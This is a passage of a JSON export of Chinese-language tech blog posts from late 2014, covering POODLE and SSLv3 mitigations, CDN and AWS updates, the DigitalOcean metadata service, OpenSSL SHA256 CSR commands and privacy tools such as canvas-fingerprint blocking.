Security</a>」</small>\r\n\r\n也因此，在 CBC-mode cipher 與 RC4 都不能用的情況下，<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 決定直接關閉 SSL 3.0：「<a href=\"http://blog.cloudflare.com/sslv3-support-disabled-by-default-due-to-vulnerability/\">SSLv3 Support Disabled By Default Due to POODLE Vulnerability</a>」。\r\n\r\n而其他廠商提供的方案也都差不多，像是 <a href=\"https://aws.amazon.com/\">AWS</a> 的「<a href=\"https://aws.amazon.com/security/security-bulletins/CVE-2014-3566-advisory/\">CVE-2014-3566 Advisory</a>」裡建議的解法也是關閉 SSL 3.0：\r\n\r\n<blockquote>This includes disabling SSLv3 on both server and client implementations.</blockquote>\r\n\r\n新推出的 security policy (ELBSecurityPolicy-2014-10) 裡也直接關掉 SSL 3.0，讓真的有需要的人再手動加上去，或是選擇一月的版本。\r\n\r\nSSL 3.0 推出 18 年後總算要被殲滅了...",
    "title": "SSL 3.0 爆炸，CVE-2014-3566，POODLE"
  },
  {
    "id": "5166",
    "body": "在「<a href=\"http://askubuntu.com/questions/537196/how-do-i-patch-workaround-sslv3-poodle-vulnerability-cve-2014-3566\">How do I patch/workaround SSLv3 POODLE vulnerability (CVE­-2014­-3566)?</a>」這篇文章裡提到了強制 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 使用 TLS 1.0+ 的方法。\r\n\r\n打開 <code>/usr/share/applications/google-chrome.desktop</code>，把這行：\r\n\r\n<pre>Exec=/usr/bin/google-chrome-stable %U</pre>\r\n\r\n改成：\r\n\r\n<pre>Exec=/usr/bin/google-chrome-stable --ssl-version-min=tls1 %U</pre>\r\n\r\n然後重新啟動 Google Chrome 就可以了...",
    "title": "Ubuntu 下強制 Google Chrome 使用 TLS 1.0+"
  },
  {
    "id": "5168",
    "body": "<a href=\"https://imgur.com/\">Imgur</a> 宣佈 GIFV 計畫：「<a href=\"https://imgur.com/blog/2014/10/09/introducing-gifv/\">Introducing GIFV</a>」。\r\n\r\n<video autoplay=\"\" loop=\"\" muted=\"\"><source type=\"video/mp4\" src=\"https://i.gslin.com/imgur/zvATqgs.mp4\"></video>\r\n\r\n上面這個影片是 Imgur 的範例影片，將 50MB 的 GIF 轉成 3.4MB 的 MP4。\r\n\r\n之前在今年年初的「<a href=\"http://blog.gslin.org/archives/2014/01/01/4044/%E7%94%A8-html5-video-%E5%8F%96%E4%BB%A3%E5%8B%95%E6%85%8B-gif-%E7%9A%84-hosting-%E6%9C%8D%E5%8B%99/\">用 HTML5 video 取代動態 GIF 的 Hosting 服務...</a>」這篇寫過類似的服務，Imgur 也跳進來玩了...\r\n\r\n可以省很多頻寬 :p",
    "title": "Imgur 的 GIFV (GIF 轉 MP4)"
  },
  {
    "id": "5170",
    "body": "前幾天推出的 <a href=\"https://www.mozilla.org/firefox\">Firefox</a> 33 把 <a href=\"http://www.cisco.com/\">Cisco</a> 弄出來的 <a href=\"http://www.openh264.org/\">OpenH264</a> 給包進去了，使用者不需要再透過 flash 就可以觀看 H.264 的影片：「<a href=\"https://www.mozilla.org/en-US/firefox/33.0/releasenotes/\">Firefox — Notes (33.0) — Mozilla</a>」。\r\n\r\n<a href=\"https://imgur.com/\">Imgur</a> 的計畫 (「<a href=\"http://blog.gslin.org/archives/2014/10/17/5168/imgur-%E7%9A%84-gifv-gif-%E8%BD%89-mp4/\">Imgur 的 GIFV (GIF 轉 MP4)</a>」這篇提到的東西) 看起來跟這個有關...\r\n\r\n不過算一算日期，這個版本一定有 SSL 3.0 的問題 (<a href=\"https://en.wikipedia.org/wiki/POODLE\">POODLE</a>)，使用者還是得自己設定 TLS 的最小版本號碼，這點就比較可惜了...",
    "title": "Firefox 33，總算支援 H.264 了..."
  },
  {
    "id": "5172",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"http://monodraw.helftone.com/\">Monodraw for Mac &mdash; Helftone</a>」這東西：\r\n\r\n<img src=\"//i.imgur.com/dOUEYkc.png\" alt=\"\" />\r\n\r\n多弄幾張圖：\r\n\r\n<img src=\"//i.imgur.com/mnp8iul.png\" alt=\"\" />\r\n\r\n嗯啊...",
    "title": "Mac 上 ASCII Art 編輯器..."
  },
  {
    "id": "5175",
    "body": "前幾天提到的「<a href=\"http://blog.gslin.org/archives/2014/10/15/5159/%E8%87%AA%E5%8B%95%E5%B0%87%E6%B5%81%E9%87%8F%E8%BD%89%E5%88%B0-tor-%E4%B8%8A%E9%9D%A2%E7%9A%84%E7%A1%AC%E9%AB%94/\">自動將流量轉到 Tor 上面的硬體</a>」，在 10/17 的時候被 <a href=\"https://www.kickstarter.com/\">Kickstarter</a> 停權中止募資了，在「<a href=\"http://www.eweek.com/security/kickstarter-suspends-anonabox-security-appliance-project.html\">Kickstarter Suspends Anonabox Security Appliance Project</a>」有些說明：\r\n\r\n<blockquote>The policy allows for suspension if the project's creator is presenting someone else's work as their own.</blockquote>\r\n\r\n現在看起來的情況是，<a href=\"https://www.kickstarter.com/projects/augustgermar/anonabox-a-tor-hardware-router\">Anonabox</a> 像是直接拿別人的東西就來用，沒有實質上的改進。\r\n\r\n文章裡有提到一些既有的方案可以用，如果有需求的人可以直接參考 :o",
    "title": "Anonabox 被停權中止募資"
  },
  {
    "id": "5177",
    "body": "從「<a href=\"http://mashable.com/2014/10/17/mastercard-fingerprint-scanner-credit-card/\">MasterCard's New Credit Card Will Come With a Fingerprint Scanner</a>」這邊看到的：\r\n\r\n<img src=\"//i.imgur.com/8bjTk1w.jpg\" alt=\"\" />\r\n\r\n金融產業一向是被逼了以後才會做的 (因為本來就賺的好好的，而且帶有壟斷性質)：\r\n\r\n<blockquote>But MasterCard is now teaming up with biometric tech company <a href=\"http://www.zwipe.no/\">Zwipe</a> to prevent people from paying for items this way with stolen credit cards.</blockquote>",
    "title": "MasterCard 推出需要指紋辨識後才能使用的信用卡"
  },
  {
    "id": "5179",
    "body": "<a href=\"https://www.apple.com/osx/\">Mac OS X</a> Yosemite 已經出來了 (10.10)，很多人用的 <a href=\"http://brew.sh/\">Homebrew</a> 也隨之爆炸了...\r\n\r\n在「<a href=\"https://medium.com/@Dom_T4/yosemite-homebrew-81695c3dac31\">Yosemite &amp; Homebrew</a>」這篇文章裡面說明了這次 Yosemite 與 Homebrew 搭配上的問題，描述了這些問題的起因。如果不急著升級的人可以先放著 Mavericks (10.9) 一陣子再說...\r\n\r\n或者是資料備份出來重灌... (這方法就是對付 Windows 升級的方法... XDDD)",
    "title": "Yosemite 與 Homebrew"
  },
  {
    "id": "5181",
    "body": "<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 在「<a href=\"https://www.digitalocean.com/company/blog/easily-automate-the-provisioning-of-your-droplets/\">Easily Automate The Provisioning Of Your DigitalOcean Droplets!</a>」這篇裡面提到了 metadata server：「<a href=\"https://www.digitalocean.com/community/tutorials/an-introduction-to-droplet-metadata\">An Introduction to Droplet Metadata</a>」。\r\n\r\n完整的資料可以看「<a href=\"https://developers.digitalocean.com/metadata/\">Droplet Metadata Overview</a>」這邊，不過直接看 code 就知道大概是什麼樣子的服務了：\r\n\r\n<pre>export HOSTNAME=$(curl -s http://169.254.169.254/metadata/v1/hostname)</pre>\r\n\r\n這對於自動化時要取得資訊 (或是傳入參數) 會很有幫助，有這個東西會省不少功夫... (以往要自己架一組 cluster，以 public ip 對 API 交叉查詢後傳回)",
    "title": "DigitalOcean 也提供 metadata service 了"
  },
  {
    "id": "5183",
    "body": "在寫 shell script 時，<code>[</code> 與 <code>[[</code> 到底用起來有什麼不一樣？查出來記錄起來：「<a href=\"http://serverfault.com/questions/52034/what-is-the-difference-between-double-and-single-square-brackets-in-bash\">What is the difference between double and single square brackets in bash?</a>」。\r\n\r\n第一高分的答案 (由 Kyle Brandt 回答) 與第二高分的答案 (由 abhiomkar 回答) 都值得看，尤其是 abhiomkar 寫的範例很清楚：\r\n\r\n<pre>  $ [ a &lt; b ]\r\n -bash: b: No such file or directory\r\n  $ [[ a &lt; b ]]</pre>\r\n\r\n對判斷式子裡面的解讀是不一樣的。",
    "title": "[ 與 [[ 的差異 (Left square bracket)"
  },
  {
    "id": "5185",
    "body": "<a href=\"http://www.cedexis.com/\">Cedexis</a> 的「<a href=\"http://www.cedexis.com/reports/\">Real time data for real time decisions</a>」蒐集了各家 CDN 在各地的連線資訊，包括了 response time、throughput 這些資訊，能夠解讀的話對於事前分析會很有幫助。\r\n\r\n舉個例子來說，泰國地區 2014/10/20 的數字如下圖。\r\n\r\n先從 latency 的部份開始看，可以看到 <a href=\"http://www.akamai.com/\">Akamai</a> 與 <a href=\"http://www.cdnetworks.com/\">CDNetworks</a> 的速度分別是 52ms 與 63ms，可以合理猜測都是在泰國當地有 PoP 直接服務。而 <a href=\"http://www.limelight.com/\">Limelight</a> 與 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 要 98ms 與 111ms，看起來最少是新加坡或是香港？\r\n\r\n而 availability 的部份也可以看出來國內線路的優勢，只要一跨國就不好維持。\r\n\r\n這樣就可以針對需求而決定要找哪幾家 CDN 業者來談。在找 CDN 業者實際測試前，先看看這邊的資料會是很不錯的資訊，可以省下不少白工。\r\n\r\n<img src=\"//i.imgur.com/CpOdNUa.png\" alt=\"\" />",
    "title": "查看各家 CDN 在各地的狀態"
  },
  {
    "id": "5188",
    "body": "半年多前 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 在 web console 上實做了統計資訊：「<a href=\"http://blog.gslin.org/archives/2014/03/14/4370/amazon-cloudfront-%E5%8F%AF%E4%BB%A5%E5%BE%9E-web-console-%E4%B8%8A%E7%9C%8B%E5%88%B0%E7%B5%B1%E8%A8%88%E8%B3%87%E6%96%99%E4%BA%86/\">Amazon CloudFront 可以從 Web Console 上看到統計資料了</a>」，而今天可以看到更多東西了：「<a href=\"https://aws.amazon.com/blogs/aws/cloudfront-up-trends-metrics-stats/\">CloudFront Update - Trends, Metrics, Charts, More Timely Logs</a>」。\r\n\r\n首先是確保收到 log 的時間差，目前可以確保一個小時內會收到 log：\r\n\r\n<blockquote>With these changes, the newest log files in your bucket will reflect events that have happened as recently as an hour ago.</blockquote>\r\n\r\n再來是多了 cache 分析：\r\n\r\n<img src=\"//i.imgur.com/fvAlmMy.png\" alt=\"\" />\r\n\r\n以及熱門物件統計資訊：\r\n\r\n<img src=\"//i.imgur.com/HFpXOMP.png\" alt=\"\" />\r\n\r\n也是其他 CDN 業者都已經有的功能，算是在補 :p",
    "title": "CloudFront 統計資料繼續改善..."
  },
  {
    "id": "5192",
    "body": "上次開 us-west-1 (Ireland) 是 2008 年 12 月了，離這次 eu-central-1 (Frankfurt) 開在德國差了快八年：「<a href=\"https://aws.amazon.com/blogs/aws/aws-region-germany/\">Now Open - AWS Germany (Frankfurt) Region - EC2, DynamoDB, S3, and Much More</a>」。\r\n\r\n六月的時候有人發現 eu-central-1 這個代碼：「<a href=\"http://analystpov.com/cloud-computing/amazon-aws-builds-a-data-center-in-germany-nice-idea-24443\">Amazon AWS builds a data center in Germany: Nice idea!</a>」。\r\n\r\n比較有趣的是，公告雖然出來了，但有些地方好像還沒完全搞定：\r\n\r\n<img src=\"//i.imgur.com/BTzukoy.png\" alt=\"\" />\r\n\r\n價錢的部份比 eu-west-1 貴一點點而已，對於要符合歐盟法令將資料留在歐盟地區，並且希望有遠距離異地建設的服務來說，解決了相當多的問題 :p\r\n\r\n剛剛踹了 <code>ec2.eu-central-1.amazonaws.com</code> 這個 domain，看起來目前亞洲地區都還是從美國西岸再一路過去，不知道之後會不會再最佳化這塊，走俄羅斯或是有辦法走東歐過去...",
    "title": "AWS 在歐洲開第二個資料中心了：德國"
  },
  {
    "id": "5194",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 的進一步更新出來了，剛剛看到信件通知。分成兩種 case，一種是使用 dedicated IP 服務的人，一種是使用 <code>*.cloudfront.net</code> 的人。\r\n\r\n使用 dedicated IP 的人仍然可以打開 SSLv3，不過 CloudFront 建議在 use case 允許下不要開：\r\n\r\n<blockquote>If you are using the Dedicated IP Custom SSL Certificates to serve SSL traffic, you may configure whether your distribution accepts SSLv3 connections. We have added an option to select this in both the console and the API. For existing distributions that use Dedicated IP Custom SSL, the default value for this new setting will be to allow SSLv3, so you will need to update your distributions if you want to disallow SSLv3. We do recommend that customers disable SSLv3 if their use case allows it.</blockquote>\r\n\r\n使用 <code>*.cloudfront.net</code> 預定在 2014/11/03 之後就會關閉 SSLv3：\r\n\r\n<blockquote>Additionally, starting on November 3rd, 2014, we will begin disabling SSLv3 for ALL customers who use SSL with the default CloudFront domain name (*.cloudfront.net). If you believe that this policy will negatively affect your website or application, please contact us as soon as possible so that we can discuss your options: https://aws.amazon.com/forms/poodle_sslv3</blockquote>\r\n\r\n而使用 <a href=\"https://en.wikipedia.org/wiki/Server_Name_Indication\">SNI</a> 的人不需要管這件事情，因為這代表你已經是用 TLS 了：\r\n\r\n<blockquote>If you're using Custom SSL Certificates and Server Name Indication (SNI), you don’t need to take any action because, as SNI-Only Custom SSL distributions already did not allow SSLv3 connections.</blockquote>",
    "title": "CloudFront 對 POODLE 的安全性更新"
  },
  {
    "id": "5197",
    "body": "在「<a href=\"https://periscope.io/blog//optimizing-your-psql.html\">Optimizing Your psql</a>」這篇介紹了 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 的 command line 工具 psql 要怎麼調整讓他變好用。\r\n\r\n這篇文章是入門的調整，藉由 <code>$HOME/.psqlrc</code> 裡的幾行設定，就可以讓系統變得好用很多，可以看到最後面給的 <code>.psqlrc</code> 也才八行...",
    "title": "PostgreSQL 的 command line 工具調整"
  },
  {
    "id": "5199",
    "body": "這也不知道積了多久，九月 <a href=\"https://www.facebook.com/\">Facebook</a> 的文章，最近被同事提起來才又仔細看：「<a href=\"https://code.facebook.com/posts/296442737213493/introducing-mcrouter-a-memcached-protocol-router-for-scaling-memcached-deployments/\">Introducing mcrouter: A memcached protocol router for scaling memcached deployments</a>」。\r\n\r\n<a href=\"http://memcached.org/\">memcached</a> 應該當作普通的 cache layer 來用，拿來放掉了也沒關係的資料。如果掉了會很痛的資料應該丟到 <a href=\"http://redis.io/\">Redis</a> 或是 <a href=\"http://dev.mysql.com/\">MySQL</a> 這類 persistent storage。\r\n\r\n但有些資料介於兩者之間，掉了會讓使用者用起來不太爽，但也不會死人... 於是總是想要在這上面做些改善。\r\n\r\nFacebook 開發的 <a href=\"https://github.com/facebook/mcrouter\">mcrouter</a> 就可以拿來解這類問題。其中一個 scenario 是「寫的不多，但讀德很多」，寫的時候寫到所有機器上，但讀取時只挑一台：\r\n\r\n<img src=\"//i.imgur.com/xKtRRRO.png\" alt=\"\" />\r\n\r\n而這個架構其實可以配合用在 memcached 的 HA 機制上。當有機器爛掉重開機變成空的 cache server 回來時可以暖機：\r\n\r\n<img src=\"//i.imgur.com/ezkpa7U.png\" alt=\"\" />\r\n\r\n不過程式看起來並不好編，要先搞定 Facebook 的兩個 C++ 的套件後才能編...",
    "title": "Facebook 的 mcrouter"
  },
  {
    "id": "5202",
    "body": "因為從以前到現在的歷史記錄都被累積起來，Bitcoin 電子錢包初始化所需要的時間變得很長，所以就有不少方法想要改善。\r\n\r\n在「<a href=\"https://www.cryptocoinsnews.com/bitcoin-blockchain-initial-sync-time-dramatically-reduced-headers-first-sync/\">Bitcoin Blockchain Initial Sync Time Dramatically Reduced By Headers-First Sync</a>」這篇文章裡面提到了一些事情。\r\n\r\n目前的歷史記錄大約是 22GB，文章裡說平均是兩天可以跑完 (我自己是跑了五天...)，但另外一個方法則是可以透過「<a href=\"https://bitcointalk.org/index.php?topic=145386.0\">[ANN] Bitcoin blockchain data torrent</a>」這邊提供的 <a href=\"http://www.bittorrent.org/\">BitTorrent</a> 方式下載記錄 import 進去，這樣就有機會縮短到 4 小時。\r\n\r\n另外被提出來的方案是減少傳輸量先確認。而且這個方法已經被 merge 進官方的 client 了：「<a href=\"https://github.com/bitcoin/bitcoin/pull/4468\">Headers-first synchronization</a>」，過陣子來測看看速度如何...",
    "title": "Bitcoin 電子錢包的初始化加速"
  },
  {
    "id": "5204",
    "body": "在「<a href=\"http://threatpost.com/facebook-yahoo-curb-identity-theft-with-new-email-ownership-header/109009\">Facebook Yahoo Require-Recipient-Valid-Since SMTP Extension</a>」這篇看到 <code>Require-Recipient-Valid-Since</code> (RRVS) 變成 Proposed Standard 了：「<a href=\"https://tools.ietf.org/html/rfc7293\">The Require-Recipient-Valid-Since Header Field and SMTP Service Extension</a>」(RFC 7293)。\r\n\r\n起因是從 2013 年的「<a href=\"http://yahoo.tumblr.com/post/52805929240/yourname-yahoo-com-can-be-yours\">yourname@yahoo.com Can Be Yours!</a>」這篇開始的：<a href=\"https://www.yahoo.com/\">Yahoo!</a> 宣佈會釋出太久沒有使用的 <code>@yahoo.com</code> 帳號讓其他人可以註冊。\r\n\r\n而這導致了帳號綁定問題：如果使用者先前在 <a href=\"https://www.facebook.com/\">Facebook</a> 上 (或是其他服務) 有綁定 Yahoo! 帳號，而他的 Yahoo! 帳號被釋出被其他人拿走後，其他人就可以利用重設密碼的功能取得 Facebook 帳號權限。\r\n\r\nYahoo! 對這個問題的解法是透過 <code>Require-Recipient-Valid-Since</code> 處理，服務方 (像是 Facebook) 在發出重要信件時帶入 <code>Require-Recipient-Valid-Since</code>，要求這封信必須在某個時間點後有效，才能讓收信者看到這封信的內容。\r\n\r\nFacebook 的人在「<a href=\"https://www.facebook.com/notes/protect-the-graph/protecting-facebook-accounts-with-new-email-standard/1522289688011177\">Protecting Facebook Accounts With New Email Standard</a>」也提到了這個新標準。",
    "title": "用 Require-Recipient-Valid-Since (RRVS) 解決帳號失效的問題"
  },
  {
    "id": "5206",
    "body": "在「<a href=\"http://www.ghacks.net/2014/10/25/how-to-block-canvas-fingerprinting-in-firefox/\">How to block Canvas Fingerprinting in Firefox</a>」這篇終於看到擋 <a href=\"https://en.wikipedia.org/wiki/Canvas_fingerprinting\">Canvas Fingerprint</a> 的延伸套件了：「<a href=\"https://addons.mozilla.org/en-US/firefox/addon/canvasblocker/\">CanvasBlocker</a>」。\r\n\r\n關於 Canvas Fingerprint，可以參考之前「<a href=\"http://blog.gslin.org/archives/2014/08/05/4927/%E7%94%A8-canvas-fingerprint-%E5%8F%96%E4%BB%A3%E9%83%A8%E4%BB%BD-cookie/\">用 Canvas Fingerprint 取代部份 Cookie</a>」這篇文章。\r\n\r\n截圖看起來有點陽春 (設定的方式很 geek)，不過算是個開始，之後應該會愈改愈好：\r\n\r\n<img src=\"//i.imgur.com/h6YI5Xx.jpg\" alt=\"\" />",
    "title": "Firefox 擋 Canvas Fingerprint 的套件"
  },
  {
    "id": "5208",
    "body": "<a href=\"http://nginx.org/\">nginx</a> 的創辦人在接受 <a href=\"http://www.infoworld.com/\">InfoWorld</a> 訪問時提到了打算使用 JavaScript 做為設定檔的計畫：「<a href=\"http://www.infoworld.com/article/2838008/javascript/nginx-has-big-plans-for-javascript.html\">The company plans to let you use JavaScript as an application language in its eponymous Web server</a>」。\r\n\r\n<blockquote>We're planning JavaScript configurations, using JavaScript in [an] Nginx configuration. We plan to be more efficient on these [configurations], and we plan to develop a flexible application platform. You can use JavaScript snippets inside configurations to allow more flexible handling of requests, to filter responses, to modify responses. Also, eventually, JavaScript can be used as [an] application language for Nginx. Currently we have only Perl and Lua [supported in Nginx]. Perl is our own model, and Lua is a third-party model.</blockquote>\r\n\r\n目前的設定檔算是 <a href=\"https://en.wikipedia.org/wiki/Domain-specific_language\">DSL</a>？還蠻有趣的想法...",
    "title": "nginx 打算使用 JavaScript 的方法..."
  },
  {
    "id": "5210",
    "body": "在「<a href=\"http://server.dzone.com/articles/adding-sha256-signed-ssl\">Adding an (SHA256 signed) SSL certificate</a>」這篇文章裡提到要如何簽出帶 SHA256 的 SSL certificate，重點在於要先生出有 SHA256 的 CSR，然後拿著這份給 CA 簽。\r\n\r\n先照抄過來，看起來是有 encrypted 過的版本：\r\n\r\n<pre>openssl genrsa -aes256 -out example-encrypted.key 2048\r\nopenssl rsa -in example-encrypted.key -out example-decrypted.key\r\nopenssl req -new -sha256 -key example-decrypted.key -out example.csr</pre>\r\n\r\n如果不加密的話應該是：\r\n\r\n<pre>openssl genrsa -out example.key 2048\r\nopenssl req -new -sha256 -key example.key -out example.csr</pre>\r\n\r\n然後照著文章裡的說明輸入對應的資訊，然後拿著這份 CSR 檔給 CA 簽。",
    "title": "產生 SHA256 的 SSL Certificate"
  },
  {
    "id": "5212",
    "body": "在「<a href=\"http://codevisually.com/dropcap-js-easily-add-drop-caps-to-your-web-typography/\">Dropcap.js: Easily add drop caps to your web typography</a>」這邊看到 <a href=\"http://www.adobe.com/\">Adobe</a> 用 JavaScript 實做了段落頭字的放大效果。本來以為這個效果有 CSS 支援，翻了一下沒找到...\r\n\r\n<img src=\"//i.imgur.com/PSJNGFI.jpg\" alt=\"\" />\r\n\r\n官網在「<a href=\"http://webplatform.adobe.com/dropcap.js/\">dropcap.js</a>」這邊，<a href=\"https://github.com/\">GitHub</a> 的頁面在「<a href=\"https://github.com/adobe-webplatform/dropcap.js\">Beautiful CSS drop caps made easy</a>」這邊。",
    "title": "dropcap.js：頭字放大效果"
  },
  {
    "id": "5214",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 <a href=\"https://www.linkedin.com/\">LinkedIn</a> 對美國的大專院校排名：「<a href=\"http://developers.slashdot.org/story/14/10/19/032249/be-true-to-your-cs-school-linkedin-ranks-us-schools-for-job-seeking-programmers\">Be True To Your CS School: LinkedIn Ranks US Schools For Job-Seeking Programmers</a>」。\r\n\r\n軟體工程師的部份在這邊：「<a href=\"https://www.linkedin.com/edu/rankings/us/undergraduate-software-engineering\">LinkedIn 大學排名 — 軟體開發人員</a>」。Slashdot 上的 comment 瞬間就戰起來，然後還有人跑出來問怎麼沒有美國外的資料 XDDD\r\n\r\n<a href=\"http://www.cmu.edu/\">CMU</a> 第一名不算奇怪，但 <a href=\"http://www.stanford.edu/\">Stanford</a> 意外的後面？",
    "title": "LinkedIn 依照他們的資料對美國的大專院校排名"
  },
  {
    "id": "5221",
    "body": "<a href=\"http://www.daemonology.net/hn-daily/\">Hacker New Daily</a> 上看到的：「<a href=\"https://fix-macosx.com/\">Fix Mac OS X Yosemite</a>」。原因是 Spotlight 的部份 <a href=\"http://www.apple.com/\">Apple</a> 與 <a href=\"http://www.bing.com/\">Bing</a> 合作：\r\n\r\n<blockquote>If you've upgraded to Mac OS X Yosemite (10.10) and you're using the default settings, each time you start typing in Spotlight (to open an application or search for a file on your computer), your local search terms and location are sent to Apple and third parties (including Microsoft).</blockquote>\r\n\r\n有兩個地方要關閉。一個是系統設定，一個是 Safari 設定，細節在原文裡面有，這邊就不抄過來了。",
    "title": "修正 Mac OS X Yosemite (10.10) 的設定以確保隱私"
  },
  {
    "id": "5224",
    "body": "忘記是在哪邊看到的，留在 browser tab 上好幾天了：「<a href=\"https://github.com/citusdata/postgres_vectorization_test\">Vectorized executor to speed up PostgreSQL</a>」。\r\n\r\n目前是針對比較簡單的條件加速：\r\n\r\n<img src=\"//i.imgur.com/SkY1GXv.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/eauxYMA.png\" alt=\"\" />\r\n\r\n不知道會不會被 merge 回去...",
    "title": "Vectorized executor 加速 PostgreSQL 查詢速度"
  },
  {
    "id": "5226",
    "body": "在 <a href=\"http://www.percona.com/\">Percona</a> 的「<a href=\"http://www.percona.com/blog/2014/10/28/how-to-deal-with-mysql-deadlocks/\">How to deal with MySQL deadlocks</a>」這篇文章裡面提到了 <a href=\"http://dev.mysql.com/\">MySQL</a> InnoDB Deadlock 的判讀與處理。\r\n\r\n在支援 transaction 的 engine 裡 deadlock 是不可避免的常態。\r\n\r\n在 MySQL 5.5 以及之前的版本，可以透過 Percona 的 pt-deadlock-logger 這隻 script，每固定幾秒鐘就跑一次 <code>SHOW ENGINE INNODB STATUS</code> 記錄下來。在 MySQL 5.6 之後，可以直接使用 <code>innodb_print_all_deadlocks</code> 這個參數，遇到 deadlock 時就寫到 error log 裡。\r\n\r\n有了 log 後，接下來就可以判讀 deadlock 的情況，得知是什麼樣的情況造成 deadlock。\r\n\r\n文章最後面則是對減少 deadlock 的方法給了一些建議，都是比較一般性。一般還是要靠 bussiness logic 的分析來切割降低 deadlock 的情況。\r\n\r\n不過這篇文章需要一些背景知識，像是 <a href=\"http://dev.mysql.com/doc/refman/5.6/en/innodb-lock-modes.html\">InnoDB Lock Modes</a> 與維基百科上的「<a href=\"https://en.wikipedia.org/wiki/Multiple_granularity_locking\">Multiple granularity locking</a>」，對解讀會有更多幫助。",
    "title": "MySQL InnoDB 遇到 Deadlock 時的判讀"
  },
  {
    "id": "5228",
    "body": "<a href=\"http://cr.yp.to/djb.html\">Daniel J. Bernstein</a> (djb) 在巴西 <a href=\"https://www.h2hc.com.br/h2hc/pt/\">H2HC</a> 11 的的演講投影片：「<a href=\"http://cr.yp.to/talks/2014.10.18/slides-djb-20141018-a4.pdf\">Making sure crypto stays insecure</a>」(PDF)。\r\n\r\n對政府單位來說，並不樂見有安全的密碼系統。因為安全的密碼系統對於政府監控人民是個麻煩。\r\n\r\n如果十年前拿出來講，可能大多數人會覺得投影片裡面的內容太過於「被害妄想」，但經過 <a href=\"https://en.wikipedia.org/wiki/Edward_Snowden\">Edward Snowden</a> 的努力後，被證實政府完全站在人民的反面。\r\n\r\n在演算法裡面藏後門 (經典的 <a href=\"https://en.wikipedia.org/wiki/Dual_EC_DRBG\">Dual_EC_DRBG</a>)；干擾標準的制定，讓實做變得複雜，於是就會變得難以正確實做；在標準裡面故意低估安全威脅 (尤其是 timing attack 類)；放出過時消息宣稱加密的成本很高 (指時間成本)。\r\n\r\n這種種事情的透漏，甚至讓小說作者 cancel 掉小說的續集 (第三集)，因為他發現他要寫的故事內容 <a href=\"https://www.nsa.gov/\">NSA</a> 都已經做過了：「<a href=\"http://entertainment.slashdot.org/story/13/12/11/2135204/sci-fi-author-charles-stross-cancels-trilogy-the-nsa-is-already-doing-it\">Sci-fi Author Charles Stross Cancels Trilogy: the NSA Is Already Doing It</a>」。\r\n\r\n很精彩的投影片，對資安有興趣的人都應該看一看。",
    "title": "djb 的密碼學陰謀論"
  },
  {
    "id": "5230",
    "body": "也是積了很久的文章，<a href=\"http://redis.io/\">Redis</a> 的其中一位老大 <a href=\"http://antirez.com/\">Salvatore Sanfilippo</a> 在第一個公開 Redis Cluster 功能的 3.0.0-rc1 版寫下了 Redis Cluster 的發展過程：「<a href=\"http://antirez.com/news/79\">Redis cluster, no longer vaporware.</a>」。\r\n\r\n<a href=\"http://dev.mysql.com/\">MySQL</a> InnoDB 可以保證極強的 ACID 特性，配合 <a href=\"http://www.drbd.org/\">DRBD</a> 這類的 HA 架構，可以保證 server 回了成功後一定不會掉資料。\r\n\r\n<a href=\"http://memcached.org/\">memcached</a> 則是 <a href=\"https://en.wikipedia.org/wiki/Shared_nothing_architecture\">Shared nothing architecture</a>，當初設計就是拿來當 cache，資料隨便掉沒關係。\r\n\r\n兩者中間還是有很大的空間，而 Redis Cluster 的出現有機會入場看看情況了，不知道能不能在 InnoDB 與 memcached 中間找到適合的點立足。",
    "title": "真正的 Redis Cluster"
  },
  {
    "id": "5233",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 宣佈了 <code>https://facebookcorewwwi.onion/</code> 這個 <a href=\"https://www.torproject.org/\">Tor</a> hidden service：「<a href=\"https://www.facebook.com/notes/protect-the-graph/making-connections-to-facebook-more-secure/1526085754298237\">Making Connections to Facebook more Secure</a>」，讓人可以直接在 Tor 的網路裡連上 Facebook。\r\n\r\nFacebook 的人用的方法與其他人一樣，是透過 brute force 算出這個 hidden service。\r\n\r\n但這也直接證明了 Tor Hidden Service 不安全：(參考<a href=\"https://www.facebook.com/notes/protect-the-graph/making-connections-to-facebook-more-secure/1526085754298237?comment_id=1526110190962460&amp;offset=0&amp;total_comments=25\">這個註解</a>的說明)\r\n\r\n<blockquote>If Facebook has the resources to brute force their own full key, then you better believe the NSA and GCHQ do too. Which means that you will no longer know if the hidden service you're connecting to is the real one or the NSA/GCHQ version. Tor hidden services are now dead.</blockquote>\r\n\r\n這次未免太精彩了 XDDD",
    "title": "Facebook 證明 Tor 的 Hidden Service 不安全"
  },
  {
    "id": "5235",
    "body": "長久以來 AWS Support Center 都是在另外一個界面裡，而現在可以在 AWS Management Console 裡使用了：「<a href=\"https://aws.amazon.com/blogs/aws/support-center-to-console/\">AWS Support Center Moves to AWS Management Console</a>」。\r\n\r\n<img src=\"//i.imgur.com/kHw3JOg.png\" alt=\"\" />",
    "title": "AWS Support Center 搬到 AWS Management Console 裡..."
  },
  {
    "id": "5237",
    "body": "<a href=\"https://www.crypto101.io/\">Crypto 101</a> 是一本近代密碼學的入門書，目前還在寫，原始的 TeX source 可以在 <a href=\"https://github.com/\">GitHub</a> 的「<a href=\"https://github.com/crypto101/book\">crypto101/book</a>」這邊看到。\r\n\r\n其實內容不淺，講了很多新東西 (看到 <a href=\"https://en.wikipedia.org/wiki/Salsa20\">Salsa20</a> 出現的時候...)，而且也講了很多攻擊方式。高階的東西 (SSL/TLS、PGP 系列) 也拉出來講。\r\n\r\n等到完成的時候應該是很不錯的資料 :p",
    "title": "Crypto 101"
  },
  {
    "id": "5240",
